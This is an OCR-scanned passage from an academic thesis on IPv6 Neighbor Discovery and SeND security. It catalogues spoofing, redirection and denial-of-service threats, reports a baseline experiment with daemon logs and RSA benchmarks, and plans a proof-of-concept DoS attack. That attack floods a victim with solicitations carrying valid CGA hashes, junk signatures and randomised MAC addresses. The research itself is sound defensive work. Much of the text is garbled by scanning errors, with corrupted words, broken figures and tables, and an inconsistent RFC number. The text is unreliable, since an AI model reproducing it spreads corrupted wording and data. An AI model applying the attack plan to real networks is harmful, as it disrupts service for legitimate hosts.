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Alice Bob
CGA([hash of AFug), {SRC,D5T,NOMCE, TIMESTAMP}apriv

decrypt Alices signature
with CGA delivered Public
(PUB and PRIV come from
CGA(hash of Brug), {SRC,DST,NONCE, TIMESTAMP}Bpriv Alice's IP}
decrypt Alices signature with
CGA delivered Public Key

(PUB and PRIV come from

Alice's IP)
MUTUAL AUTHENTICATION
Alice can decrypt msgs from  _ - Bob can decrypt msgs from
BoB's IP ' Alice's IP

Figure 9. SeND operation.

This approach seems to eliminate most attack \v@ctdtackets with a
spoofed CGA address would not be able to sign asages The nonce and timestamps
fields further increase the difficulty of defeatinibis protocol by making it highly
resistant to replaying messages. Spoofed routeerasements would be ignored by

clients when not in possession of a certificatpedorm any router duties.

The confidentiality is only partially addressed,tlwithe completely
unsecured Link Layer still being the biggest obstadNo harm should come from such
design, as the only information transferred in icteat is either public already (i.e. public
keys) or there is no danger from sending it outwen the malicious clients (i.e. nonce).
The CGA itself is a portion of a hashing functi@md as such can be only subject to
exact matching, with no information leakage abdw hardware used or the network

topology detail.
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[ll.  RELATED ANALYSES OF SEND

The literature [2], [3] discussing the ND procesaged the potential threats [12],

[18] considers three major networking scenarios:

. All authenticated nodes on a closed network withriiedia access control
(i.e. LAN)

. Trusted routers with untrusted clients not trustitiger clients (i.e., a WiFi
network)

. Full ad hoc network with all nodes untrusted

The first model assumes a network with a fully colieéd Link Layer through
either physical security or cryptography. With ls@ssumptions in place, ND would be
executed in a secure environment, fulfilling thgquieements needed to claim a secure
state. The downfall of such a model is that itegimno protection when the Link Layer
security is defeated. It also offers no meandnut the damage. In such a scenario,
administrators might be tempted to use IPsec’s éatibation Headers with symmetric
keys, shared by all trusted nodes. Such configuras completely unprotected from the
insider threat, as one compromised node would tstsaurity on all other nodes, as all

the keys are the same.

The second model, a public WiFi network, placesttalsewhere. Trusted routers
are used to authenticate and authorize themseival§ tlients on the network. At the
same time, clients must be able to locate, comnatmj@nd authorize to a proper router.
Without the full control of the Link Layer, admimiators cannot establish reliable
authentication based on a hardware address, oorletapology. ND process without a

solid authentication method can result in givingyogk access to malicious hosts.

The third scenario, the ad hoc network, assumeampbed trust between any of
the hosts on the network. No router or neighbaegttsements should be trusted. The

only way to establish trust in such a scenaricoivdrify one’s identity against a pre-
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established trusted third party. This means tihewst be at least one implicitly trusted

host on such a network. This violates autoconéigan’s goal of zero-configuration.
A. THREATS INHERENT TO ND

This section is largely a summary of [18]. Undamnsling a number of different
classes of attack will make it easier to see theses of attacks as well as the possible
solutions.

Here is the list of potential threats on a regilax.

. Neighbor Solicitation/Advertisement spoofing
A malicious node can send a NS message with a wBmgce Link Layer Address
option, or a NA message with a wrong Target LinkéraAddress option. Either one of
these messages would populate attacker the tafyetghbor Cache with wrong IP--
MAC mappings. The target would send informatiorthi® wrong nodes, setting itself up
for man-in-the-middle attacks and password and rofiamsitive information sniffing,
effectively creating a redirection or DoS attadkis can be leveraged further if a trusted
node used for certification of other nodes can bevimced to vouch for a different
address than originally intended.

. Neighbor Unreachability Detection (NUD) failure
NUD is usually used to detect disappearance of sifrden the network. In an event of
prolonged lack of communication with a host, a N&sgage is sent. If no NA response
is obtained after a few tries, the Neighbor Cachw&yeis deleted. However, if the
soliciting node needs to communicate with the tangele, a new NS multicast is sent to
look for a new hardware address. A malicious noaldd send forged NA responses to
the NUD-induced NS messages. The soliciting hagihtrbe led to believe the new
hardware address which can be maliciously set toomexistent entry, effectively

eliminating communication with the target host.

. Duplicate Address Detection DoS attack
Yet another twist on forged NS/NA messages mightem the form of a malicious host

replying to all DAD requests, claiming that the eel$ in question is already taken, or is
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already in a DAD process. Such attacks are edpedangerous, as they can be
performed using a multicast, thus reaching everyonethe network segment. This

approach can deny communication to large numbehnssts at the same time.

. Malicious Last Hop Router
A malicious router can send spoofed RA messagesemding to be the target of RS
messages. This would establish such a routereaddfault router. If the actual router
was compromised, it would become a perfectly fumal proxy, allowing hosts to carry
on with regular transmissions. At the same tirhe,dttacker could tunnel data out of the
router to another computer, where sniffing for emthls could occur.

. Default router is 'killed'

RFC2461 states that “if the default router listeispty, the sender assumes that the
destination is on-link.” If we can convince a hdsat no routers exist on-link, the host
will try to directly resolve the address of thegmmal destination, and connect to it.
Spoofing more NS/NA messages can direct the reipgebbst to communicate with a
malicious host. Any method of DoS-ing the routed work in this case. In case we
have a network with a certificate-based router enilcation, we could “eliminate”
routers from the network by sending invalid cectites to the requesting hosts. This can

be used as either DoS or redirect attack.

. Good Router Goes Bad
When a previously secure router is exploited, &#ec can launch all the other Router

Discovery based attacks described in this thesis.

. Spoofed Redirect Message
An attacker can spoof a Redirection message byirsgraah order to a valid host. Hosts
validate the source of a Redirection message bylLihle Layer address. Without an
authorization method, such a message can be semtymne on the local network with
the ability to forge the sender’s Link Layer addtes
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. Bogus On-Link Prefix

Another way of wreaking havoc on the local netwodkild be done by sending spoofed
RA messages advertising a non-existing networkipreHosts that accepted such an
advertisement will believe that nodes on the spbofetwork segment are on-link, and
will attempt to contact them directly (without helppm a router) by performing an
NS/NA exchange. If an attacker will not spoof apense to such a NS message, the
originating host will be left with no one to commecate with, effectively DoS-ing the
target prefix. If an attacker leverages a boguipradvertisement with more spoofed
NA packets, this can become a potential Man inMinddle attack, redirecting all traffic

to a sniffing proxy transparent to the legitimagguestors.

. Bogus Address Configuration Prefix
Similar to the previous attack, a spoofed and idvaétwork prefix can be sent out to a
host attempting address autoconfiguration. The Wwdkthen create an address out of the
wrong network prefix, effectively placing it on aramg network. This will result in

losing connectivity because of the incorrect retasidress.

. Parameter Spoofing
RA messages contain extra parameters that canlpiilh® the autoconfiguring hosts.
In case such parameters are falsified, nodes rbglfbrced to follow rules that might get
them to talk to wrong hosts, or lose connectivifjhe Current Hop Limit is one of the
fields propagated in RA messages. If this paramstset to an artificially low number,
the packets will be dropped before they reach thdended destinations. Another
peculiar aspect of the ND protocol is that onet®parameters can be used to indicate to
hosts to use DHCPvV6. If an attacker provides aedgHCPv6 daemon, it can be used to
leverage further attacks by propagating incorredormation to hosts on the local
network. This can be prevented by a simple ‘mimmminiop count’ limit on the clients,
but due to the nature of networks, such a valueldvbave to be set on network by
network basis, violating the zero-configuratiomgiple.
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. Replay attacks and remotely exploitable attacks
ND provides no protection against replay attack&ith no control over the physical

media, valid packets can be captured and use@bdaiys at any other time.

. Replay attacks
An attacker could imitate a valid host by replayalgthe messages captured during the
initial exchanges needed for a valid host to esthbtself on the network. After the real
host goes offline, the attacker could take over tdrget’s address and initiate new

connections with routers and other hosts justtlikeeoriginal node did.

. Neighbor Discovery DoS Attack
An attacker can keep the local router busy with siv@samounts of valid ND requests.
The router would stay busy servicing the bogus estg) while requests from the valid

hosts could be delayed beyond a useful timefrardeesgantually ignored completely.

Attack ND or | Redirection | Messages Full Link Trusted Ad Hoc
RD or DoS affected | Layer Control| Routers | Network
NS/NA ND Redir NA/NS + + +
spoofing
NUD failures ND DoS NA/NS - + +
DAD DoS ND DoS NA/NS - + +
Malicious RD Redir RA/RS + + R
Router
Default router RD Redir RA +/R +/R R
kill
Good Router RD Redir RA/RS R R R
Gone Bad
Spoofed RD Redir Redir + + R
Redirect
Bogus on-link RD DoS RA - + R
prefix
Bogus addresg RD DoS RA - + R
config
Parameter RD DoS RA - + R
Spoofing
Replay Attacks| ALL Redir All + + +
Remote ND ND DoS NS + + +
DoS
-Threat not present + Threat present, solution knoviR Threat present, no known solution [18]

Table 4. Summary of ND attacks on different networks.
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The greatest concern of this threat assessmentMest of the solutions to the
attacks listed above are considered solved in jpt@cnot implementation. These
solutions revolve around a concept of a host’'s daible to authenticate itself to other
hosts, and doing so using cryptography [18].”

B. ND THREAT CLASSIFICATION AND MITIGATION

All these attacks against the original ND protocah be divided into three
classes:

. Impersonation/Spoofing—with no Link Layer controlnda trivially
changeable MAC addresses, any host can claim amyether host. This applies to both
routers and hosts alike, though router addressfisgploas a higher damage potential, as
it can be used for man-in-the-middle attacks.

. DoS—spoofing NUD and DAD replies can effectively ®achines as
their neighbors think they have gone off-line (NWpoofing) or the attackers never
allow them to get on-line (DAD spoofing).

. Redirection—while the methodology of this attacktie same as the
impersonation class of attacks, the goal is agtuhk misdirection of target hosts, or
other hosts attempting to connect to target hogtdackers can maliciously announce
changes in addresses of routers, or entire netpafikxes, making the entire network of

computers think they are somewhere else.

All of the above are the result of two unresolvedues: authentication and
authorization. Nodes on the network have arbitidgntities, and as such, malicious
users can take on these identities. Proving thdsatities to other nodes is another
problem. Other hosts take all the information frpactkets and process it as if it is the
truth, as there is no mechanism to verify iderditreany way. On a network with a tight
control over what host is allowed to take on whacliress, there is still nothing stopping
a valid host from "upgrading” itself to a valid tew. This is called authorization--not all
nodes are created equal, nor do they have idemigtds, privileges, and responsibilities.
However, there is no mechanism to monitor, assgieontrol the functionality expected

out of each and every node on the network.
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To overcome all these problems, MAC addresses waoaNg to be impossible to
alter, and every node would be physically connetdea port on a switch, which would
need an extensive configuration. Every port wonkkd a list of other hardware
addresses it is allowed to communicate with, calipigh an Access Control List of the
ports and services it was designed to serve. Waidd eliminate the problems this thesis
is exploring, but it still does not eliminate pdskiies of abuse, as users are still able to
run prohibited services on non-standard ports,rigrthe administration to perform a full
network stack inspection and reassembly on eveckgia Such a network would be a
managerial nightmare, as every computer, devicd, gort on all networking devices
would have to be extensively configured to refléne official policy. Modern networks
tend to be very dynamic, with laptops moving aroand users attaching computers to
networks they are not physically on through VPNneimg, in addition to the more
prosaic problems like computer hardware failuressoftware misconfiguration. In
environments like this, setting a static policy angbecting it to uphold in a secure state

in a deterministic fashion without major problerasinrealistic.

Regular ND was not designed to deal with any sashds. SeND designers took

these issues into consideration and tried to peoaidolution to some of them.
C. SEND AS A SOLUTION

SeND claims to solve the mutual authentication |lenmb An IPv6 address is a
function of a public key, and the public key isifiably bound to the private key. This
three-way binding is supposed to prevent a malgiagser from spoofing the IPv6
address. Impersonation attacks would fail becadiget being able to generate the IP
address at all (lack of public key), or not beirgeato establish the binding between

private and public keys (lack of private key).

Replay attacks are supposed to be prevented by msinces and timestamps.
Old packets should simply fail, being outside o #dlowed time difference, or due to

response with an old nonce.
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Redirection attacks are defended by the same misthaas the impersonation
attacks. Without possession of the private andiplbys, an attacker would fail to pass

the checks and the redirections would be ignored.

When using SeND with trust roots or pre-sharedifeates, hosts could verify
router advertisements by checking if the addredherRA packet is able to authenticate

itself with a proper certificate.

Let's look at the three classes of attacks disaugselier in this chapter, and see

how SeND claims to eliminate them.

. All of the following attacks can be defended aggias the malicious node
can send NS or NA messages and SeND on the rese®md would not allow the
packet’s data to populate the attacker’s targegggyhbor Cache, as they would fail the
CGA verification.

. Neighbor Solicitation/Advertisement Spoofing

. Neighbor Unreachability Detection (NUD) failure

. Duplicate Address Detection DoS Attack
. Malicious Last Hop Router
. Default router is 'killed’
. Good Router Goes Bad
. Spoofed Redirect Message
. Bogus On-Link Prefix
. Bogus Address Configuration Prefix
. Parameter Spoofing
. Replay attacks and remotely exploitable attacks

Replay attacks are defeated by using nonces arma$tamps. Just like in any other case
of SeND failure, the packet gets quietly discarded.

. Neighbor Discovery DoS attack
DoS attacks are defeated by keeping caches of &egsnonces, allowing the host to
quickly recognize attacks, and quietly discardrtigue packets.
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IV. EXPERIMENT ONE—BASELINE

A. PRINCIPLES OF SECURITY EXPERIMENTATION

Before we proceed with descriptions of the expenitsidet’'s look at a few simple
principles applicable to any scientific pursuitorfhe attack to be successful and highly

probable, it needs to follow a few general guidegdin

A good attack should...

. be able to circumvent most simple security mechmasigand mitigation
techniques

. not need contrived configurations

. work against the biggest number of targets, regasdlof types,

implementations and platforms used

A good experiment should...

. have clear results

. be easily reproducible

. be verified against multiple targets

. have well documented assumptions and procedures

All these principles were followed, as the experntehapter will demonstrate.
B. PROPER OPERATION WITH SEND-ENABLED HOSTS

The main idea behind SeND revolves around bindiegpublic key to an IP, so
in case of accidental or malicious alterations iy af these entities, the recipient can
detect it.

At first, when a node sends a SeND-augmented packeinother node, the
recipient establishes that the IP address from lwttie packet claimed it came is also in
possession of the public-private key pair. It usessource address and the contents of

the CGA option to verify the integrity of the pubkey, and then uses that key to decrypt
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the signature contained in the RSA option. Sudakskecryption establishes that the
packet was signed with the private key correspandinthe public key. In case of a
spoofed IP or public key, the CGA check will fadl the hashes will be different. Even if
the CGA is created from a spoofed public key, teBI3 daemon should drop the packet
based on the digital signature check, as longeaasattiacker has not had a chance to obtain
the private key [2], [3].

That is the theory. To see it in practice, a peeggram was created. The program
used the same address as the proper client's C@As tifferent public key, establishing

the standard behavior of a rejected packet.

This is a SeND exchange sequence between two ngrropkrating hosts
(Alice# ping6 —c3 bob)

Ell Graph Analysis

Time : . Comment
Alice Bob All-nodes multicast
0,000 : Echo request : IC W PuE: Echo request
(ol an . o
0115 : +Meighkar 3':'||'3|t3-t|=:m] I M FL: Meighbor salicifation
1 . . 1 1
0,248 [D].nghbur advertlsegu[m I IC: M PLE: Meighbor advertizement
1 1 1
0 Ech | 0 ! )
0,251 (04 Lo Fepll 1o : IC K PYE: Echia peply
1.029 L Echo request 1 IC W PuE: Echo request
(ol an 1
0 Echo repl ! ! .
1.029 (o= pl ') : I h PLE: Echi reply
2032 . Echoregquest I ICHMPLE: Echo pequast
() par{ (1)} 1
2,033 [D]:" Echo reply :[D] : 3 1M PyE: Echo reply
5, 292 [U]: Meighbor 3':'"'3”3“::[':'] : S PuE: meighbor salicitation
1 1 1 -
5.408 [mﬂﬁighhﬂr aclvertizen :[U] : IC: b PE: Reighbor adverfisement
1 1 1
Figure 10. Proper SeND operation

Alice tries to ping Bob. Bob only talks to hosteage hardware addresses he has
already in his Neighbor Cache. For that to hapB®i sends an NS to the multicast
address and Alice answers it with the correct wtjcaolicited NA packet. Now Bob has
established that someone claiming to be Alice hascbrrect IP and the corresponding
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key pair. A few seconds later, Alice proceedsuthanticate Bob with a unicast NS/NA
exchange, ensuring reachability, and records thenNeighbor Cache as a MAC entry
with a REACHABLE state.

C. ATTEMPT OF SPOOFING SEND-ENABLED HOSTS

This is what happens when an Attacker program tesesolve the hardware
address of the Victim with the IPv6 address seh&CGA generated IPv6 address from
the previous (legal) exchange, but with differeayk The Victim fails the CGA checks,
as the hash generated from the public key doeagret with the CGA itself.

Ell Graph Analysis

Time Attacker Victim Comment
0,000 ['3']: Meighkbor 3':'”Citaﬂ=:[m I bl Pu: Meighbor solicitation
1 1
0.000 ['3']: Meighkor 3':'”'3itaﬁ=:m] IC: W PLE: Meighbar solicitation
Figure 11. SeND not responding to spoofed packets

This is a log of a SeND daemon on the Victim maehifhe CGA Option data is
parsed to obtain all the contents necessary teaezithe Cryptographically Generated
Address.

This output was generated by SeND’s debug modeaim 8 result of an attempt

of performing Neighbor Solicitation from a IP difént from the CGA generated one:

[May 29 14:16:33] sendd: libcga: cga_verify: PagsiPER-encoded data
[May 29 14:16:33] sendd: cga_verify: modifier:
839d 42 3e f6 cc 9f ac 6¢ 7b af el d¢aB3
[May 29 14:16:33] sendd: cga_verify: prefix:
fe 80 00 00 00 00 00 00
[May 29 14:16:33] sendd: libcga: cga_verify: cabis count: O
[May 29 14:16:33] sendd: cga_verify: hash1l:
3c 6¢ 9d Oa 3c a0 5c ae
[May 29 14:16:33] sendd: libcga: cga_verify: --t8w bits ---
[May 29 14:16:33] sendd: sethits: interface ideetif
3c 6¢ 9d 0a 3c a0 5c &eaddress recreated from contents CGA option
[May 29 14:16:33] sendd: sethits: interface ideetif
30 b4 f5 2d 58 4f 5¢ dé-address from IP source field
[May 29 14:16:33] sendd: libcga: cga_verifashl does not match
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The last line does not explicitly state that thekes was dropped, but that is the
default SeND behavior: when any of the checks aied, packets are to be quietly
discarded. This way, the SeND daemon quickly dsses a bad packet using a hash
comparison, before embarking onto more computalliprexpensive RSA signature

verification.
D. LESSONS LEARNED FROM EXPERIMENT ONE

This scenario shows how SeND works in intended awest The reality is
slightly different. In a true autoconfigurationopocol, in which hosts do not store data
describing the network they are about to connechtsts have nothing with which to
validate claimed identities. The easiest analegy border guard without a list of people
expected that day, who then lets through anyonle avface which is similar enough to a
picture in a seemingly legal passport. He doesewenh have a way to verify that a
person with such a credential exists at all. G@meenting such a system does take a
slightly higher level of effort than no guard at, dut all it takes is some forged

documents and a fresh photo.

The analogy applies to SeND and its reliance orlipand private keys. Any
host can seem to be a valid host as long as thekéys correspond. The face is the
public key, the passport is the private key, andoag as they correspond there is no
reason to suspect malicious intent. The only vealydtice any inconsistencies is to keep
a list of all credentials passing through the clpeakt, and if a different person (packet)
tries to pass through with the same passport ctiader{key pair), the guard (SeND
daemon) should check against the list of recerghyfied credentials (caches) and realize
something is wrong. This is exactly the approaeNIS takes. If there are no problems
with verifying the IP address and the keys, padkedentials are inserted into the
Neighbor Cache (the recently verified credentisd)li If another packet arrives from a
different MAC address but claiming to have the sdmgs, SeND knows there is a
problem. The problems arise from practical conserHow long is the list kept? What
does the list contain, and must all the storedgseaf information match, or just one of

them, to indicate a problem?
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Once a CGA is created from a particular key pais highly unlikely for anyone
else to be able to generate keys that would yre&lgarticular CGA address. There is no
parallel to such dependency in the border guardoggaany face can go with any
passport, and there is nothing distinct about tbembination. This is the only benefit
that stems from cryptographically binding the IRl@$s with the key pair.

Another problem with SeND exists only because effihactical limitations. The
Neighbor Cache keeps credentials around for onlysd€onds before their official
validity status is downgraded. Because anyonecosate a valid key pair and present it
as credentials, after the cached values time @dkgis with new identities can arrive
from the same IP but with different keys, and SeM accept it, as it has never seen
any other node claiming the same set of credentif® short time span for valid entries
in the Neighbor Cache is to limit potential for abuby overpopulating the table with
bogus requests, creating resource exhaustion. Vdng safeguard undermines the
usefulness of SeND: if the storage time were lesigld, an attacker could exhaust
resources, but the shorter storage time allowsttacker to spoof identity of hosts who
previously occupied a particular IPv6 address.

The Neighbor Cache is an IPv6 construct, and a8 gumontains only IPv6 and
MAC entries. Other information like keys, noncasd timestamps, has to be tracked by
a separate daemon, and that's what SeND is. iBaghla real life scenario, keeping lists
allows for spotting inconsistencies, but with enowntries to keep track of, the records
grow so large that the verification process takesldong to be practical.
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V. EXPERIMENT TWO-ATTACK ON SEND

A denial of service (DoS) [19] attack is an expliaitempt of malicious users to
prevent legitimate users from using a service (@gd/Neb site). DoS attacks are often
achieved by means of resource exhaustion on thettarachine. One metric of damage
in a DoS attack is the amount of packets droppethglthe attack between the legitimate
client and the target of the DoS. To measure theher of packets dropped, the “ping6”

command is used to probe the Victim computer witle&HO packet once every second.
A. DESIGN

The principle behind every DoS attack is simplebeyng the rules is more
expensive resource-wise than not obeying them. sTtha rule disobeying hosts can
always generate more requests than the rule obesgngers can process. The SeND
protocol uses Public Key encryption as a first lioie defense, which by nature is
computationally expensive. The process of sigm@ipgcket with a private key is usually
two magnitudes more expensive than that of vergfyhe signature. As long as it takes a
lot more computing power to craft a packet tharvabdate it this approach seems to
work in favor of the security defenders. On theereing end, every packet must undergo
two SHA-1 hashing operations to verify the CGA. emhif they are correct, the receiver
proceeds to decrypt the RSA signature with a pltdicdelivered in the CGA Option of
the SeND message. The RSA key verification isasagxpensive as signing, but it is still
an expensive operation to carry out, especiallyhecontext of using it on every packet.
To get a good idea of what kinds of performancetds machines are capable of, a
benchmark was run. This benchmark is a part ofQpenSSL suite, the libraries of
which are used by the SeND daemon to perform elktigptographic operations. These
are the results of executing the “openssl spe€dbesachmark command on the Victim
computer with an Intel Pentium Duo 2 Core CPU:
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RSA key| Time to sign Time to verify
length (sec) (sec) sign/sec| verify/se¢
512 0.00074571 0.00006964 1341 14360
1024 0.00370370 0.00019627 270 5095
2048 0.02222222 0.00063654 45 1571
4096 0.14285714 0.00225734 7 443

Table 5. RSA benchmarks

Due to the great variety of compilers, softwarediies, and hardware involved, it
was pertinent to get an idea of how all these béeg influence the actual RSA
processing speeds. Experiments with newer comsp{leéCC versions 4.1, 4.2, 4.3) and
different compilation options yielded very littl@ange (<10%) in results compared to the
standard OpenSSL distribution that is part of dyfphtched FreeBSD 6.2 system. In
terms of hardware, the processing speeds were yrmigendent on the raw CPU power

of the hardware platform.

The process of signing with 4096-bit RSA keys s thost demanding benchmark
in the OpenSSL suite: therefore it was used tordete the difference between various
hardware and software combinations. Among thenabhines there was a range of 5.5
to 8.9 4096-bit keys signed per second. To be tablere-calculate attack packets in a
reasonably short time, attackers would have to gaicess to hardware at least two
magnitudes faster than the target machine. Asioreed before, it's impossible to gain
two magnitudes advantage merely by using slighthyer hardware and clever software
optimizations. Unfortunately, the same rules apfdy the defenders. The only
significant, magnitude scale changes in performameeachievable only by changing the
length of the RSA keys.

With that in mind, one must think of the networkieguipment that would most
likely implement SeND—the routers on the internakworks. The problem is that
historically they have been optimized for lateney dandwidth, not cryptography and
number crunching. Until recently, networking equgnt carried very little

cryptographic support, except with specialized hame such as SSL accelerator cards
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and VPN concentrators. This makes traditional exsuvery easy DoS targets for any
CPU-intensive resource exhaustion attacks. Upochnmternet research and inquiries to
insiders in large networking companies, no one a@e to provide any hard figures on
the cryptographic abilities of traditional routimgjuipment. It is reasonable to assume
that any non-hardware accelerated router will begnitades slower than a modern
general use CPU. If this assumption is true, tkévarking equipment would be

vulnerable to DoS attacks even if short keys aeslus
B. ATTACK VECTORS ASSESSMENT

When considering the practical ramifications of tRSA cryptology, a few
different attack vectors on the SeND-protected$ibstame evident.

Expensive cryptography should keep the daemon basy. According to the
benchmarks, if the server is running with a 4096kky it takes fewer than ten regular
client nodes requesting information to keep thendae busy for an entire second on a
very fast machine. The table below demonstratgist @lients trying to get service from
a server capable of handling only seven clientsspeond. Client 8 waits its turn, but
depending on queuing and scheduling mechanismgligr@g might never get serviced.

In the table below VER means verification occuraead NO VER means it did not.

Time Cdient Client Cdient Cient dient dient dient dient
(sec) 1 2 3 4 5 6 7 8
1/ 7 VER NO VER NO VER NO VER NO VER NO VER NO VER NO VER
217 NO VER VER NO VER NO VER NO VER NO VER NO VER NO VER
3/7 NO VER NO VER VER NO VER NO VER NO VER NO VER NO VER
4/ 7 NO VER NO VER NO VER VER NO VER NO VER NO VER NO VER
5/7 NO VER NO VER NO VER NO VER VER NO VER NO VER NO VER
6/ 7 NO VER NO VER NO VER NO VER NO VER VER NO VER NO VER
1 NO VER NO VER NO VER NO VER NO VER NO VER VER NO VER
1/ 7 VER NO VER NO VER NO VER NO VER NO VER NO VER NO VER
2/ 7 NO VER VER NO VER NO VER NO VER NO VER NO VER NO VER
3/7 NO VER NO VER VER NO VER NO VER NO VER NO VER NO VER
4/7 NO VER NO VER NO VER VER NO VER NO VER NO VER NO VER
5/7 NO VER NO VER NO VER NO VER VER NO VER NO VER NO VER
6/7 NO VER NO VER NO VER NO VER NO VER VER NO VER NO VER
2 NO VER NO VER NO VER NO VER NO VER NO VER VER NO VER

RPRRRPRRRE

Table 6. Event timing of clients overwhelming a server
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Even if it is impossible for the attacker to fotte server to respond with signed
messages, the attacker could send packets to itlkdeiserver into key verification. The
attacker can pick the length of the RSA key neeederify the packet, dictating the
amount of time the target machine will take to wark a packet. According to the
benchmark data above, the Victim computer can parfabout 450 verifications of a
4096-bit key per second. Anything above that vaitecause the packets to be queued
up, or discarded, depending on the implementatibime real culprit here is that the few
relatively quick checks (timestamp, ICMPVv6 checkstim CGA hash) are easy to spoof,
while the slow RSA decoding occurs whether the eatstare valid or not.

Internal rate limiting, intended as a security measagainst DoS, might be used
against the daemon itself, as long as the attakkeps requesting service at the
maximum rate allowed by the daemon’s rate limitiyAegular clients would have a slim
chance of receiving service due to the daemonfspsetection. If the developers try to
prevent dropping of packets by having large quethes) the daemon becomes a target
for a resource exhaustion attack. Queuing packetdater processing is not a real
solution either, as the attacker could either cetaty saturate the queue (resource
exhaustion), or merely delay the processing ofllpgakets enough that the regular client
will deem that packet lost, and send another ragudegher worsening the problem
(timeout attack). RFC2491 states that most ND estpuare repeated three times, and
then the attempts are stopped, to prevent hosts leing tricked into sending infinite

numbers of packets.

To mitigate the attacks described above one mag bia¥ daemon cache public
keys, CGA’s, or MAC addresses that were verifiedegsl. Such a daemon could be a
victim of a resource exhaustion attack, especi@lthe attacker pre-calculates enough
keys to saturate the ‘safe keys’ cache quicklythéf daemon implementation performs
the safe key check only for MAC addresses seendgetoe attacker could attach a SeND
augmented IP packet created from one key to a fraittea randomized MAC address.
Such an attack would be possible only on networikis mo protection of the Link Layer.
Unfortunately, the popular media like the Etheraatl the wireless 802.11 standards

provide little or no protection for the Link Layer.
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Another threat that stems from the attempts of comsing security for the sake
of performance would be the ability to hijack a weation for a short period of time.
Caching keys and MAC addresses which have recantgrgone the SeND verification
assumes that there is no need to keep re-verithie@GA and RSA signature for some
period of time. In this ‘grace period’ an attackeuld spoof some packets with a MAC
of the recently verified machine, and the victimamae would gladly accept it. A recent
addition of a host to Neighbor Cache can be eadiberved by sniffing the network and
seeing two opposite SeND-augmented NS/NA exchaingesa pair of hosts.

C. PLAN OF ATTACK

The proof of concept developed for this thesis maant to be a true experiment,
not knowing ahead of time which aspect of the &ttaould trigger a DoS-like condition
first. There are multiple vectors of attack, ahd attack program tries to achieve them at
the same time, while it really only needs one. e8earcher can observe various aspects
of the attack without preconceived expectationsbehavior for both attacker’'s and
victim’'s sides. Because SeND is still in earlygets of development, one should not
assume that the RFC specifications are followedheo full extent, and therefore the
attack code must be ready to deal with potentiafipredictable behaviors. Increasing
the probability of success for the attack will lgrimore insight to potentially multiple
flaws in SeND’s design or implementation. It alfiges more insight to the potential
environment in which such an attack could be laedchOn a slow network this attack
might not trigger the rate limiting mechanism iétpacket size multiplied by the number
of packets per second is smaller than the totabwatith. However, the number of
packets sent might still be enough that the nuroberyptographic computations needed
to process these packets will overwhelm the victi@n a fast network with Link Layer
protection where MAC spoofing would be impossilieis attack should trigger rate
limiting. In general, the CPU of the target and #peed of the link are the two biggest
determining factors in tailoring the key length amgnber of processes needed to carry

out the attack.
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Here is the list of major goals attempted by thimop of concept attack:

. Create the best fake SeND packets possible with pdori knowledge,
simulating a real world scenario. The hypothesithat it is impossible to prevent a DoS
attack from overwhelming the target CPU with asyrrio@€ryptography operations.

. Leverage the lack of Link Layer protection, and gyate as many MAC
frames with the same key pair as possible. Thiglavorce the daemon to verify every
malformed packet, exploiting the fact that the daerhas no way of knowing if a new
packet comes from a new client, or a maliciousckda This could also determine the
number of packets required to overwhelm the CPU.

. Lower the time needed to generate packets, whilateaing enough
variety that no caching mechanisms on the victiside would be able to drop attacking
packets by executing cheap verifications.

D. IMPLEMENTATION OF ATTACK CODE

At first it seemed like the best attack vector wassend out unsolicited
Neighborhood Advertisement packets. Because tbayotl have to be solicited, they do
not contain a nonce, making them easy to spooto At is logically impossible to rate
limit the number of incoming advertisements on ¥ietim’s end, as there is no way of
predicting or controlling when, how many, or hoveduently such packets should be
expected. The victim must process all incomingesiisements, to be aware of changes
of router addresses, on-link prefixes, and changegldress, as well as DAD and NUD

responses.

The difficulty of realizing an attack with an unmited NA packet arises from the
fact that a host will ignore such a packet unlesms a recent entry for that IP address in
its Neighbor Cache already. To create a valid Neag Cache entry, the attacker would
have to create a valid key pair, send an NS, triggeNS in response from the victim and
then properly respond with an NA. Such a procedso time consuming, and is not a
viable approach for an attack until a method o€iplg a large number of MAC addresses
in the victim’s Neighbor Cache is found.
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This attack originally implemented an approach lmvm generation of many
valid Neighbor Solicitation requests, and forcirg tvictim to send responses to the
attacker, which would require the victim to perfothhe very slow process of signing its
own packets. With this approach, fewer than teckgis per second are needed to keep
the CPU overwhelmed with a 4096-bit key. Even 1f024-bit key is used, the CPU can
handle only about 270 valid responses per sec@mte an attack packet has passed the
simple non-crypto checks, it would force the victimtry to verify the sender’'s IPv6
address and keys in order to place IPv6 and MA@e=nin the Neighbor Cache, further

tying up its resources.

The problem with this attack is the time requiredcteate that many perfectly
valid requests. The content of the entire SeNCk@awould have to be perfect, even
inside of the RSA Option, which would require thtaeker to create both private and
public keys, create a CGA address out of the pubhd sign with the private key. This
could be very computationally expensive on thechtta side, possibly requiring many
machines dedicated to the cause. It would be isiblesto create a packet once and
replay it easily, as the changing Timestamp Optvonld change the checksum, which is
protected inside of the RSA Option preventing &&as from replaying one packet many
times. Another problem is that the attacker hashmce in how expensive the signing
process would be. A victim with a short key woulot spend enough time crafting its

own packets for the attack to be successful.

The approach used in the actual proof of conceptawaed to address the lowest
common denominator of requirements and assumptigessary to carry out a
successful attack. The attack uses Neighbor $aimn packets, which are accepted by
both routers and hosts.  This attack should vem&inst any host or router willing to
communicate with another SeND enabled host. GrgaiiS packets takes over control
of variables like nonce values and key sizes imstéavoiding them. In a case when the
Victim employs per-host ND message rate limitifgg attack program has been designed
to randomize the hardware addresses so that thenvias no option but to believe the
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attack packets may come from a different valid ho$his attack addresses the goals
listed earlier: resulting in highly probable attackven a certain ratio of bandwidth to

victim’s computing power.

It is our hypothesis that one could create a patiadt passes the CGA hashing
tests, as well as ICMPv6 checksum, timestamp amten@hecks. The RSA portion
could contain arbitrary bytes, as long as it iseaflistic length, to bypass possible attack

detection by performing heuristics to look for neathed packets.

Let's see if it is mathematically possible to lahren attack based on creating a
4096-bit key, making a valid SeND packet, and rgpla it against the victim machine.
The attacker needs to submit about 450 verificattmuests per second to overwhelm the
Victim. Each packet is about 1200 bytes long wsitime variance depending on options.
Therefore this attack needs about 540 kbytes oflwalth, which is well within typical
100 Mbit Ethernet bandwidth. SeND provides useith & debugging environment to
monitor SeND live in action. There are four tymgscaches to be monitored: Solicit,
Advert, Timestamp, and Prefix. During regular SeMkchanges, the cache entries
would populate, demonstrating proper operation.eré&fore, when planning the attack,
such caching capabilities were taken into constaera The attack assumes that such
caches operate correctly, preventing unnecessapgegsing of identical packets.
Depending on the timing values of how long a givache entry would be valid, the
number of simultaneous clients might need to i@eand to ensure that at all times the
daemon has at least 450 verifications to be predes$hese interval numbers seemed to
